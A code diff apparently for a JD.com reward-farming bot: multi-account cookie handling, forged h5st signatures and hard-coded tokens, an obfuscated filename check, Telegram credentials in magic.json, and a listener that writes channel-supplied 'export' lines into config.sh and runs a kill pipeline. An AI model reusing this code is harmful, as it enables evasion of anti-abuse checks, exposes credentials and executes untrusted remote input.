this.index, + cookie: this.cookie + }; + try { + this.ext.push(Object.assign(me, await this.before())); + } catch (e) { + console.log(e) + } + if (data?.wait?.length > 0 && this.index + !== cookies.length) { + await this.wait(data?.wait[0], data?.wait[1]) + } + } + } + } + let once = false; + for (let i = 0; i <= this.cookies.length; i++) { + if (this.cookies[i] && !this.expire) { + this.index = i + 1; + if (data?.once && this.index !== data.once) { + once = true; + continue; + } + let cookie = this.cookies[i]; + this.cookie = cookie; + this.username = decodeURIComponent( + cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.defaults.headers['Cookie'] = this.cookie;17840 + this.index = i + 1; + try { + await this.logic() + if (data?.o2o) { + await this.send(); + testMode ? this.log(this.msg.join("\n")) : '' + this.msg = []; + } + if (once) { + break; + } + } catch (e) { + console.log(e.message || '') + } + if (data?.wait?.length > 0 && this.index !== cookies.length) { + await this.wait(data?.wait[0], data?.wait[1]) + } + } + } + await this.after() + console.log(`${this.now()} ${this.name} 运行结束,耗时 ${this.timestamp() + - this.start}ms\n`) + testMode && this.msg.length > 0 ? console.log(this.msg.join("\n")) : '' + if (!data?.o2o) { + await this.send(); + } + } + + async config() { + + } + + delBlackCK() { + let strArrTemp = [] + for (let i = 0; i < cookies.length; i++) { + if (cookies[i]) { + let cookie = cookies[i] + let pt_pin = decodeURIComponent( + cookie.match(/pt_pin=(.+?);/) && cookie.match( + /pt_pin=(.+?);/)[1]); + if (wxBlackCookiePin.includes(pt_pin)) { + this.log("剔除黑号CK:" + pt_pin); + continue; + } + strArrTemp.push(cookie); + } + } + cookies = strArrTemp; + } + + me() { + return this.ext[this.index - 1] + } + + finish() { + this.ext[this.index - 1].finish = true + } + + __as(es) { + console.log(es) + + let b = []; + for (let e of es) { + if (typeof e === 'string') { + let start = e.split('-')[0] * 1 + let end = e.split('-')[1] * 1 + if (end - start === 1) { + b.push(start) + b.push(end) + } else { + for (let i = start; i <= end; i++) { + b.push(i) + } + } + } else { + b.push(e) + } + } + console.log(b) + return b + } + + deleteCookie() { + delete this.cookies[this.index - 1] + return {}; + } + + groupBy(arr, fn) { + const data = {}; + arr.forEach(function (o) { + const k = fn(o); + data[k] = data[k] || [] + data[k].push(o) + }) + + return data; + } + + async send() { + if (this.msg?.length > 0) { + this.msg.push( + `\n时间:${this.now()} 时长:${((this.timestamp() - this.start) + / 1000).toFixed(2)}s`) + if (this.bot) { + await notify.sendNotify("/" + this.name, + this.msg.join(this.delimiter || '')) + } else { + await notify.sendNotify(this.name, this.msg.join("\n")) + } + } + } + + async verify() { + let fn = this.filename + + function av(s) { + return s.trim().match(/([a-z_])*$/)[0]; + } + + let x = '109M95O106F120V95B', y = '99M102F100O', z = '109H99V', + j = '102N97I99D116T111G114A121B', k = '112C112U', + l = '109N95G106B100K95U', m = '119V120M'; + let reg = /[A-Z]/; + x.concat(y).split(reg).map(o => +o).filter(o => o > 0).forEach( + o => y += String.fromCharCode(o)) + x.concat(z).split(reg).map(o => +o).filter(o => o > 0).forEach( + o => z += String.fromCharCode(o)) + x.concat(j).split(reg).map(o => +o).filter(o => o > 0).forEach( + o => j += String.fromCharCode(o)) + x.concat(k).split(reg).map(o => +o).filter(o => o > 0).forEach( + o => k += String.fromCharCode(o)) + l.concat(m).split(reg).map(o => +o).filter(o => o > 0).forEach( + o => m += String.fromCharCode(o)) + this.appId = fn ? this.name.slice(0, 1) + === String.fromCharCode(77) + ? (fn.includes(av(y)) ? '10032' : + fn.includes(av(z)) ? '10028' : + fn.includes(av(j)) ? '10001' : + fn.includes(av(k)) ? '10038' : + fn.includes(av(m)) ? 'wx' : '') : '' + : ''; + this.appId ? this.algo = await this._algo() : ''; + } + + async wait(min, max) { + if (min < 0) { + return; + } + if (max) { + return new Promise( + (resolve) => setTimeout(resolve, this.random(min, max))); + } else { + return new Promise((resolve) => setTimeout(resolve, min)); + } + } + + putMsg(msg) { + msg += '' + this.log(msg) + let r = [[' ', ''], ['优惠券', '券'], ['东券', '券'], ['店铺', ''], + ['恭喜', ''], ['获得', '']] + for (let ele of r) { + msg = msg.replace(ele[0], ele[1]) + } + if (this.bot) { + this.msg.push(msg) + } else { + let username = this.accounts[this.username] || this.username; + username += this.index + if (this.msg.length > 0 && this.msg[this.msg.length - 1].includes( + username)) { + this.msg[this.msg.length - 1] = this.msg[this.msg.length + - 1].split(" ")[0] + '' + [this.msg[this.msg.length - 1].split( + " ")[1], msg].join(',') + } else { + this.msg.push(`【${username}】${msg}`) + } + } + } + + md5(str) { + return CryptoJS.MD5(str).toString() + } + + HmacSHA256(param, key) { + return CryptoJS.HmacSHA256(param, key).toString() + } + + log(...msg) { + this.s ? console.log(...msg) : console.log( + `${this.now()} ${this.accounts[this.username] || this.username}`, + ...msg) + } + + //并 + union(a, b) { + return a.concat(b.filter(o => !a.includes(o))) + } + + //交 + intersection(a, b) { + return a.filter(o => b.includes(o)) + } + + //交 + different(a, b) { + return a.concat(b).filter(o => a.includes(o) && !b.includes(o)) + } + + build(url) { + if (url.match(/&callback=(jsonpCBK(.*))&/)) { + let cb = url.match(/&callback=(jsonpCBK(.*))&/); + url = url.replace(cb[1], this.randomCallback(cb[2].length || 0)) + } + let stk = decodeURIComponent(this.getQueryString(url, '_stk') || ''); + if (stk) { + let ens, hash, st = '', + ts = this.now('yyyyMMddHHmmssSSS').toString(), + tk = this.algo.tk, fp = this.algo.fp, em = this.algo.em; + if (tk && fp && em) { + hash = em(tk, fp, ts, this.appId, CryptoJS).toString( + CryptoJS.enc.Hex) + } else { + const random = '5gkjB6SpmC9s'; + tk = 'tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc'; + fp = '9686767825751161'; + hash = CryptoJS.SHA512( + `${tk}${fp}${ts}${this.appId}${random}`, + tk).toString(CryptoJS.enc.Hex); + } + stk.split(',').map((item, index) => { + st += `${item}:${this.getQueryString(url, item)}${index + === stk.split(',').length - 1 ? '' : '&'}`; + }) + ens = encodeURIComponent( + [''.concat(ts), ''.concat(fp), + ''.concat(this.appId), ''.concat(tk), + ''.concat(CryptoJS.HmacSHA256(st, hash.toString()).toString( + CryptoJS.enc.Hex))].join(';')); + if (url.match(/[?|&]h5st=(.*?)&/)) { + url = url.replace(url.match(/[?|&]h5st=(.*?)&/)[1], 'H5ST') + .replace(/H5ST/, ens) + } + let matchArr = [/[?|&]_time=(\d+)/, /[?|&]__t=(\d+)/, + /[?|&]_ts=(\d+)/, + /[?|&]_=(\d+)/, /[?|&]t=(\d+)/, /[?|&]_cfd_t=(\d+)/] + for (let ms of matchArr) { + if (url.match(ms)) { + url = url.replace(url.match(ms)[1], Date.now()) + } + } + let t = this._tk(); + if (url.match(/strPgUUNum=(.*?)&/)) { + url = url.replace(url.match(/strPgUUNum=(.*?)&/)[1], t.tk) + if (url.match(/strPhoneID=(.*?)&/)) { + url = url.replace(url.match(/strPhoneID=(.*?)&/)[1], t.id) + } + if (url.match(/strPgtimestamp=(.*?)&/)) { + url = url.replace(url.match(/strPgtimestamp=(.*?)&/)[1], + t.ts) + } + } + if (url.match(/jxmc_jstoken=(.*?)&/)) { + url = url.replace(url.match(/jxmc_jstoken=(.*?)&/)[1], t.tk) + if (url.match(/phoneid=(.*?)&/)) { + url = url.replace(url.match(/phoneid=(.*?)&/)[1], t.id) + } + if (url.match(/timestamp=(.*?)&/)) { + url = url.replace(url.match(/timestamp=(.*?)&/)[1], t.ts) + } + } + } + return url; + } + + getQueryString(url, name) { + let reg = new RegExp("(^|[&?])" + name + "=([^&]*)(&|$)"); + let r = url.match(reg); + if (r != null) { + return unescape(r[2]); + } + return ''; + } + + unique(arr) { + return Array.from(new Set(arr)) + } + + async logic() { + console.log("default logic") + } + + async before() { + return -1; + } + + async after() { + return -1; + } + + tryLock(username, key) { + try { + fs.accessSync(`/jd/log/lock/${key}_${username}`); + return false; + } catch (e) { + return true; + } + } + + setLock(username, key) { + try { + try { + fs.accessSync(`/jd/log/lock`); + } catch (e) { + fs.mkdirSync(`/jd/log/lock`); + } + fs.mkdirSync(`/jd/log/lock/${key}_${username}`); + return false; + } catch (e) { + return true; + } + } + + match(pattern, string) { + pattern = (pattern instanceof Array) ? pattern : [pattern]; + for (let pat of pattern) { + const match = pat.exec(string); + if (match) { + const len = match.length; + if (len === 1) { + return match; + } else if (len === 2) { + return match[1]; + } else { + const r = []; + for (let i = 1; i < len; i++) { + r.push(match[i]) + } + return r; + } + } + } + return ''; + } + + matchAll(pattern, string) { + pattern = (pattern instanceof Array) ? pattern : [pattern]; + let match; + let result = []; + for (let p of pattern) { + while ((match = p.exec(string)) != null) { + let len = match.length; + if (len === 1) { + result.push(match); + } else if (len === 2) { + result.push(match[1]); + } else { + let r = []; + for (let i = 1; i < len; i++) { + r.push(match[i]) + } + result.push(r); + } + } + } + return result; + } + + async countdown(mode = 1, s = 200) { + let d = new Date(); + switch (mode) { + case 1: + d.setHours(d.getHours() + 1); + d.setMinutes(0) + break + case 2: + d.setMinutes(30) + break + case 3: + d.setMinutes(15) + break + case 4: + d.setMinutes(10) + break + case 5: + d.setMinutes(5) + break + default: + console.log("不支持") + } + d.setSeconds(0) + d.setMilliseconds(0) + let st = d.getTime() - Date.now() - 200 + if (st > 0) { + console.log(`需要等待时间${st / 1000} 秒`); + await this.wait(st) + } + } + + readFileSync(path) { + try { + return fs.readFileSync(path).toString(); + } catch (e) { + console.log(path, '文件不存在进行创建') + this.writeFileSync(path, ''); + return ''; + } + } + + writeFileSync(path, data) { + fs.writeFileSync(path, data) + } + + random(min, max) { + return Math.min(Math.floor(min + Math.random() * (max - min)), max); + + } + + async notify(text, desc) { + return notify.sendNotify(text, desc); + } + + async get(url, headers) { + url = this.appId ? this.build(url) : url + return new Promise((resolve, reject) => { + $.get(url, {headers: headers}).then( + data => resolve(this.handler(data) || data)) + .catch(e => reject(e)) + }) + } + + async post(url, body, headers) { + url = this.appId ? this.build(url) : url + return new Promise((resolve, reject) => { + $.post(url, body, {headers: headers}) + .then(data => resolve(this.handler(data) || data)) + .catch(e => reject(e)); + }) + } + + async request(url, headers, body) { + return new Promise((resolve, reject) => { + let __config = headers?.headers ? headers : {headers: headers}; + (body ? $.post(url, body, __config) : $.get(url, __config)) + .then(data => { + this.__lt(data); + resolve(data) + }) + .catch(e => reject(e)); + }) + } + + __lt(data) { + if (this.appId.length !== 2) { + return + } + let scs = data?.headers['set-cookie'] || data?.headers['Set-Cookie'] + || '' + if (!scs) { + if (data?.data?.LZ_TOKEN_KEY && data?.data?.LZ_TOKEN_VALUE) { + this.lz = `LZ_TOKEN_KEY=${data.data.LZ_TOKEN_KEY};LZ_TOKEN_VALUE=${data.data.LZ_TOKEN_VALUE};`; + } + return; + } + let LZ_TOKEN_KEY = '', LZ_TOKEN_VALUE = '', JSESSIONID = '', + jcloud_alb_route = '', ci_session = '', LZ_AES_PIN= '' + let sc = typeof scs != 'object' ? scs.split(',') : scs + for (let ck of sc) { + let name = ck.split(";")[0].trim() + if (name.split("=")[1]) { + name.includes('LZ_TOKEN_KEY=') ? LZ_TOKEN_KEY = name.replace( + / /g, '') + ';' : '' + name.includes('LZ_TOKEN_VALUE=') + ? LZ_TOKEN_VALUE = name.replace(/ /g, '') + ';' : '' + name.includes('JSESSIONID=') ? JSESSIONID = name.replace(/ /g, + '') + ';' : '' + name.includes('jcloud_alb_route=') + ? jcloud_alb_route = name.replace(/ /g, '') + ';' : '' + name.includes('ci_session=') ? ci_session = name.replace(/ /g, + '') + ';' : '' + name.includes('LZ_AES_PIN=') ? this.LZ_AES_PIN = name.replace(/ /g, '') + + ';' : '' + + } + } + + if (JSESSIONID && LZ_TOKEN_KEY && LZ_TOKEN_VALUE) { + this.lz = `${JSESSIONID}${LZ_TOKEN_KEY}${LZ_TOKEN_VALUE}${this.LZ_AES_PIN||''}` + } else if (LZ_TOKEN_KEY && LZ_TOKEN_VALUE) { + this.lz = `${LZ_TOKEN_KEY}${LZ_TOKEN_VALUE}${this.LZ_AES_PIN||''}` + } + // testMode ? this.log('lz', this.lz) : '' + } + + handler(res) { + let data = res?.data || res?.body || res; + if (!data) { + return; + } + if (typeof data === 'string') { + data = data.replace(/[\n\r| ]/g, ''); + if (data.includes("try{jsonpCB")) { + data = data.replace(/try{jsonpCB.*\({/, '{') + .replace(/}\)([;])?}catch\(e\){}/, '}') + } else if (data.includes('jsonpCB')) { + let st = data.replace(/[\n\r]/g, '').replace(/jsonpCB.*\({/, + '{'); + data = st.substring(0, st.length - 1) + } else if (data.match(/try{.*\({/)) { + data = data.replace(/try{.*\({/, '{') + .replace(/}\)([;])?}catch\(e\){}/, '}') + } else { + testMode ? console.log('例外', data) : '' + data = /.*?({.*}).*/g.exec(data)[1] + } + testMode ? console.log(data) : '' + testMode ? console.log('----------------分割线--------------------') + : '' + return JSON.parse(data) + } + testMode ? console.log(JSON.stringify(data)) : '' + testMode ? console.log('----------------分割线---------------------') : '' + return data; + } + + randomNum(length) { + length = length || 32; + let t = "0123456789", a = t.length, n = ''; + for (let i = 0; i < length; i++) { + n += t.charAt(Math.floor(Math.random() * a)); + } + return n + } + + randomString(e) { + return this.uuid() + } + + uuid(x = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx") { + return uuid(x) + } + + async unfollow(shopId = this.shopId) { + let url = 'https://api.m.jd.com/client.action?g_ty=ls&g_tk=518274330' + let body = `functionId=followShop&body={"follow":"false","shopId":"${shopId + || this.shopId}","award":"true","sourceRpc":"shop_app_home_follow"}&osVersion=13.7&appid=wh5&clientVersion=9.2.0&loginType=2&loginWQBiz=interact` + let headers = { + 'Accept': 'application/json, text/plain, */*', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Accept-Language': 'zh-cn', + 'Cookie': this.cookie + } + headers['User-Agent'] = `Mozilla/5.0 (iPhone; CPU iPhone OS 14_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.4(0x1800042c) NetType/4G Language/zh_CN miniProgram` + let {data} = await this.request(url, headers, body); + this.log(data.msg) + return data; + } + + async getShopInfo(venderId = this.venderId) { + try { + let url = `https://wq.jd.com/mshop/QueryShopMemberInfoJson?venderId=${venderId + || this.venderId}` + let headers = { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "Referer": 'https://h5.m.jd.com/', + "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40`, + 'Cookie': this.cookie + } + return await this.get(url, headers); + } catch (e) { + return {} + } + } + + randomCallback(e = 1) { + let t = "abcdefghigklmnopqrstuvwsyz", a = t.length, n = ''; + for (let i = 0; i < e; i++) { + n += t.charAt(Math.floor(Math.random() * a)); + } + return "jsonpCBK" + n.toUpperCase() + } + + randomArray(arr, count) { + count = count || arr.length + let shuffled = arr.slice(0), i = arr.length, min = i - count, temp, + index; + while (i-- > min) { + index = Math.floor((i + 1) * Math.random()); + temp = shuffled[index]; + shuffled[index] = shuffled[i]; + shuffled[i] = temp; + } + return shuffled.slice(min); + } + + now(fmt) { + return format(Date.now(), fmt || 'yyyy-MM-dd HH:mm:ss.SSS') + } + + formatDate(date, fmt) { + // noinspection JSCheckFunctionSignatures + return format(typeof date === 'object' ? date : new Date( + typeof date === 'string' ? date * 1 : date), + fmt || 'yyyy-MM-dd') + } + + //yyyy-MM-dd HH:mm:ss + parseDate(date) { + let d = new Date(Date.parse(date.replace(/-/g, "/"))); + d.setHours(d.getHours() + 8) + return d; + } + + timestamp() { + return new Date().getTime() + } + + _tk() { + let id = function (n) { + let src = 'abcdefghijklmnopqrstuvwxyz1234567890', res = ''; + for (let i = 0; i < n; i++) { + res += src[Math.floor(src.length * Math.random())]; + } + return res; + }(40), ts = Date.now().toString(), tk = this.md5( + '' + decodeURIComponent(this.username) + ts + id + + 'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy'); + return {ts: ts, id: id, tk: tk} + } + + ua(type = 'jd') { + return JDAPP_USER_AGENTS[this.random(0, JDAPP_USER_AGENTS.length)] + } + + async sign(fn, body = {}) { + let b = {"fn": fn, "body": body}; + let h = {"token": apiToken} + try { + let {data} = await this.request(apiSignUrl, h, b); + return {fn: data.fn, sign: data.body}; + } catch (e) { + console.log("sign接口异常") + } + return {fn: "", sign: ""}; + } + + async _algo() { + if (this.appId.length === 2) { + if (this.domain.includes('lzkj') || this.domain.includes('lzdz') + || this.domain.includes('cjhy')) { + let url = `https://${this.domain}/wxTeam/activity?activityId=${this.activityId}` + await this.request(url, { + 'Accept-Encoding': 'gzip, deflate, br', + 'Connection': 'keep-alive', + 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Mobile/15E148 Safari/604.1", + 'Accept-Language': 'zh-cn', + 'Cookie': this.cookie + }) + } + return '' + } else { + let fp = function () { + let e = "0123456789", a = 13, i = '' + for (; a--;) { + i += e[Math.random() * e.length | 0] + } + return (i + Date.now()).slice(0, 16) + }(); + let data = await this.post( + 'https://cactus.jd.com/request_algo?g_ty=ajax', JSON.stringify({ + "version": "1.0", + "fp": fp, + "appId": this.appId, + "timestamp": this.timestamp(), + "platform": "web", + "expandParams": '' + }), { + 'Authority': 'cactus.jd.com', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Referer': 'https://st.jingxi.com/', + }); + return { + fp: fp.toString(), + tk: data?.data?.result?.tk || data?.result?.tk, + em: new Function( + `return ${data?.data?.result?.algo + || data?.result?.algo}`)() + } + } + } + + async isvObfuscator(cache = enableCacheToken, retries = isvObfuscatorRetry) { + if (cache) { + this.log("当前已启用缓存token") + let tokenStr = this.readFileSync("token.json"); + let tokens = tokenStr ? JSON.parse(tokenStr) : {}; + let cacheObj = tokens[this.username]; + this.log(`缓存token结果 ${JSON.stringify(cacheObj)}`) + if (cacheObj && cacheObj?.expireTime > this.timestamp()) { + this.log(`缓存token有效`) + this.putMsg("缓存") + return {code: "0", token: cacheObj.token} + } + } + this.log(`${this.username} 获取token`) + let body = 'body=%7B%22url%22%3A%22https%3A%2F%2Fcjhy-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&uuid=b024526b380d35c9e3&client=apple&clientVersion=10.0.10&st=1646999134786&sv=111&sign=fd9417f9d8e872da6c55102bd69da99f'; + try { + let newVar = await this.sign('isvObfuscator', {'id': '', 'url': `https://${this.domain}`}); + if (newVar.sign) { + body = newVar.sign; + } + let url = `https://api.m.jd.com/client.action?functionId=isvObfuscator` + let headers = { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Cookie": this.cookie, + "User-Agent": "JD4iPhone/168069 (iPhone; iOS 13.7; Scale/3.00)", + } + let {data} = await this.request(url, headers, body) + this.log(`获取token结果`, JSON.stringify(data)) + + if (cache && data?.code === '0') { + this.putMsg("实时") + if (cache) { + let tokenStr = this.readFileSync("token.json"); + let tokens = tokenStr ? JSON.parse(tokenStr) : {}; + tokens[this.username] = { + expireTime: this.timestamp() + this.random(tokenCacheMin, tokenCacheMax) * 60 * 1000, + token: data.token + } + this.writeFileSync("token.json", JSON.stringify(tokens)) + this.log(`获取token成功,更新token完成`) + } + } else if (data?.code === '3' && data?.errcode === 264) { + this.putMsg(`CK过期`); + } else { + console.log(data) + } + return data; + } catch (e) { + if (retries-- > 0) { + console.log(`第${isvObfuscatorRetry - retries}去重试isvObfuscator接口,等待${isvObfuscatorRetryWait}秒`) + await this.wait(isvObfuscatorRetryWait * 1000) + await this.isvObfuscator(cache, retries); + } + } + return {code: "1", token: ""} + } + + async api(fn, body) { + let url = `https://${this.domain}/${fn}` + let ck = `IsvToken=${this.Token};` + this.lz + (this.Pin + && "AUTH_C_USER=" + this.Pin + ";" || "") + this.domain.includes('cjhy') ? ck += 'APP_ABBR=CJHY;' : '' + let headers = { + "Host": this.domain, + "Accept": "application/json", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": `https://${this.domain}`, + "Cookie": ck, + "Referer": `${this.activityUrl}&sid=&un_area=`, + "User-Agent": this.UA + } + let {data} = await this.request(url, headers, body); + console.log(JSON.stringify(data)) + return data; + } + + async wxStop(err) { + let flag = false; + if (!err) { + return flag + } + let stopKeywords = ['来晚了', '已发完', '非法操作', '奖品发送失败', '活动还未开始', + '发放完', '全部被领取', '余额不足', '已结束'] + process.env.M_WX_STOP_KEYWORD ? process.env.M_WX_STOP_KEYWORD.split( + '@').forEach((item) => stopKeywords.push(item)) : '' + for (let e of stopKeywords) { + if (err.includes(e)) { + flag = true; + break + } + } + return flag; + } + + async sendMessage(chat_id, text, count = 1) { + let url = `https://api.telegram.org/bot${process.env.TG_BOT_TOKEN}/sendMessage` + let body = { + 'chat_id': chat_id, + 'text': text, + 'disable_web_page_preview': true + } + let headers = { + 'Content-Type': 'application/json', + 'Cookie': '10089' + } + let {data} = await this.request(url, headers, body); + this.log('发送数据', text) + if (!data?.ok && count === 1) { + $.log('重试中', text) + await $.wait(1000, 2000) + await this.sendMessage(chat_id, text, count++); + } + } +} + +module.exports = {Env, CryptoJS}; diff --git a/magic.json b/magic.json new file mode 100644 index 0000000..a253aa8 --- /dev/null +++ b/magic.json @@ -0,0 +1,74 @@ +{ + "api_id": 3741859, + "api_hash": "f81a30b542215b3d578", + "bot_id": 1657544667, + "bot_token": "1657544667:AAGO7sit_k_0u_C1w7U", + "user_id": 951306588, + "proxy": true, + "proxy_type": "socks5", + "proxy_addr": "127.0.0.1", + "proxy_port": 7890, + "command": "task", + "log_path": "/jd/log", + "log_send": true, + "monitor_cache_size": 30, + "monitor_cars": [ + -1001718319262, + -1001533334185, + 1657544667 + ], + "monitor_auto_stops": [ + "jd_AutoOpenCard" + ], + "monitor_scripts_path": "/jd/scripts", + "monitor_scripts": { + "M_WX_ADD_CART_URL": { + "name": "M加购有礼", + "file": "m_jd_wx_addCart.js", + "wait": 0, + "queue": false, + "queue_name": "M_WX_ADD_CART_URL", + "enable": true + }, + "M_WX_LUCK_DRAW_URL": { + "name": "M幸运抽奖", + "file": "m_jd_wx_luckDraw.js", + "wait": 5, + "queue": true, + "queue_name": "M_WX_LUCK_DRAW_URL", + "enable": true + }, + "M_WX_CENTER_DRAW_URL": { + "name": "M老虎机抽奖", + "file": "m_jd_wx_centerDraw.js", + "wait": 0, + "queue": false, + "queue_name": "M_WX_CENTER_DRAW_URL", + "enable": true + }, + "M_FAV_SHOP_ARGV": { + "name": "M收藏有礼", + "file": "m_jd_fav_shop_gift.js", + "wait": 0, + "queue": false, + "queue_name": "M_FAV_SHOP_ARGV", + "enable": true + }, + "M_FOLLOW_SHOP_ARGV": { + "name": "M关注有礼", + "file": "m_jd_follow_shop.js", + "wait": 0, + "queue": false, + "queue_name": "M_FOLLOW_SHOP_ARGV", + "enable": true + }, + "M_FANS_RED_PACKET_URL": { + "name": "M粉丝红包", + "file": "m_jd_fans_redPackt.js", + "wait": 0, + "queue": false, + "queue_name": "M_FANS_RED_PACKET_URL", + "enable": true + } + } +} diff --git a/magic.py b/magic.py new file mode 100644 index 0000000..3e860bf --- /dev/null +++ b/magic.py @@ -0,0 +1,298 @@ +import asyncio +import datetime +import json +import logging +import os +import re +from urllib import parse + +from cacheout import FIFOCache +from telethon import TelegramClient, events + +# 0. 进入容器 +# 1. pip3 install -U cacheout +# 2. 复制magic.py,magic.json到/ql/config/目录 并配置 +# 3. python3 /ql/config/magic.py 登录 +# 4. 给bot发送在吗 有反应即可 +# 5. pm2 start /ql/config/magic.py -x --interpreter python3 +# 6. 挂起bot到后台 查看状态 pm2 l +# 7. 如果修改了magic.json,执行pm2 restart magic 即可重启 +# pm2 start /jd/config/magic.py -x --interpreter python3 + +logging.basicConfig(format='[%(levelname) 5s/%(asctime)s] %(name)s: %(message)s', level=logging.INFO) +# 创建 +logger = logging.getLogger("magic") +logger.setLevel(logging.INFO) + +_ConfigCar = "" +_ConfigSh = "" +if os.path.exists("/jd/config/magic.json"): + _ConfigCar = "/jd/config/magic.json" + _ConfigSh = "/jd/config/config.sh" +elif os.path.exists("/ql/config/magic.json"): + _ConfigCar = "/ql/config/magic.json" + _ConfigSh = "/ql/config/config.sh" +elif os.path.exists("/ql/data/config/magic.json"): + _ConfigCar = "/ql/data/config/magic.json" + _ConfigSh = "/ql/data/config/config.sh" +else: + logger.info("未找到magic.json config.sh") + +with open(_ConfigCar, 'r', encoding='utf-8') as f: + magic_json = f.read() + properties = json.loads(magic_json) + +# 缓存 +cache = FIFOCache(maxsize=properties.get("monitor_cache_size")) + +# Telegram相关 +api_id = properties.get("api_id") +api_hash = properties.get("api_hash") +bot_id = properties.get("bot_id") +bot_token = properties.get("bot_token") +user_id = properties.get("user_id") +# 监控相关 +monitor_cars = properties.get("monitor_cars") +command = properties.get("command") +log_path = properties.get("log_path") +log_send = properties.get("log_send") +logger.info(f"监控的频道或群组-->{monitor_cars}") +monitor_scripts_path = properties.get("monitor_scripts_path") +logger.info(f"监控的文件目录-->{monitor_scripts_path}") +monitor_scripts = properties.get("monitor_scripts") +monitor_auto_stops = properties.get("monitor_auto_stops") +logger.info(f"监控的自动停车-->{monitor_auto_stops}") + +if properties.get("proxy"): + proxy = { + 'proxy_type': properties.get("proxy_type"), + 'addr': properties.get("proxy_addr"), + 'port': properties.get("proxy_port") + } + client = TelegramClient("magic", api_id, api_hash, proxy=proxy, auto_reconnect=True, retry_delay=1, connection_retries=99999).start() +else: + client = TelegramClient("magic", api_id, api_hash, auto_reconnect=True, retry_delay=1, connection_retries=99999).start() + + +def rwcon(arg): + if arg == "str": + with open(_ConfigSh, 'r', encoding='utf-8') as f1: + configs = f1.read() + return configs + elif arg == "list": + with open(_ConfigSh, 'r', encoding='utf-8') as f1: + configs = f1.readlines() + return configs + elif isinstance(arg, str): + with open(_ConfigSh, 'w', encoding='utf-8') as f1: + f1.write(arg) + elif isinstance(arg, list): + with open(_ConfigSh, 'w', encoding='utf-8') as f1: + f1.write("".join(arg)) + + +async def export(text): + messages = text.split("\n") + change = "" + key = "" + for message in messages: + if "export " not in message: + continue + kv = message.replace("export ", "") + key = kv.split("=")[0] + value = re.findall(r'"([^"]*)"', kv)[0] + configs = rwcon("str") + if kv in configs: + continue + if key in configs: + configs = re.sub(f'{key}=("|\').*("|\')', kv, configs) + change += f"【替换】环境变量成功\nexport {kv}" + await client.send_message(bot_id, change) + else: + end_line = 0 + configs = rwcon("list") + for config in configs: + if "第二区域" in config and "↑" in config: + end_line = configs.index(config) - 1 + break + configs.insert(end_line, f'export {key}="{value}"\n') + change += f"【新增】环境变量成功\nexport {kv}" + await client.send_message(bot_id, change) + rwcon(configs) + if len(change) == 0: + await client.send_message(bot_id, f'【取消】{key}环境变量无需改动') + + +# 设置变量 +@client.on(events.NewMessage(chats=monitor_cars, pattern='^没水了$')) +async def handler(event): + for auto_stop_file in monitor_auto_stops: + os.popen(f"ps -ef | grep {auto_stop_file}" + " | grep -v grep | awk '{print $1}' | xargs kill -9") + await client.send_message(bot_id, f'没水停车') + + +# 设置变量 +@client.on(events.NewMessage(chats=monitor_cars, pattern='^在吗$')) +async def handler(event): + await client.send_message(bot_id, f'老板啥事?') + + +# 设置变量 +@client.on(events.NewMessage(chats=monitor_cars, pattern='^清理缓存$')) +async def handler(event): + b_size = cache.size() + logger.info(f"清理前缓存数量,{b_size}") + cache.clear() + a_size = cache.size() + logger.info(f"清理后缓存数量,{a_size}") + await client.send_message(bot_id, f'清理缓存结束 {b_size}-->{a_size}') + + +# 监听事件 +@client.on(events.NewMessage(chats=monitor_cars)) +async def handler(event): + origin = event.message.text + text = re.findall(r'https://i.walle.com/api\?data=(.+)?\)', origin) + if len(text) > 0: + text = parse.unquote_plus(text[0]) + elif origin.startswith("export "): + text = origin + else: + return + try: + logger.info(f"原始数据 {text}") + # 微定制 + if "WDZactivityId" in text: + activity_id = re.search(f'WDZactivityId="(.+?)"', text)[1] + if cache.get(activity_id) is not None: + await client.send_message(bot_id, f'跑过 {text}') + return + cache.set(activity_id, activity_id) + text = f'export jd_wdz_custom="{activity_id}"' + else: + urls = re.search('((http|https)://[-A-Za-z0-9+&@#/%?=~_|!:,.;]+[-A-Za-z0-9+&@#/%=~_|])', text) + if urls is not None: + url = urls[0] + domain = re.findall('https?://([^/]+)', url)[0] + params = parse.parse_qs(parse.urlparse(url).query) + activity_id = '' + if 'cjhy' in domain or 'lzkj' in domain or 'lzdz1' in domain: + if 'pageDecorateView/previewPage' in url: + activity_id = params["tplId"][0] + elif 'wxPointShopView' in url: + activity_id = params["giftId"][0] + elif 'activityId' in url: + activity_id = params["activityId"][0] + if len(activity_id) == 0: + if cache.get(text) is not None: + await client.send_message(bot_id, f'跑过 {text}') + return + cache.set(text, text) + elif cache.get(activity_id) is not 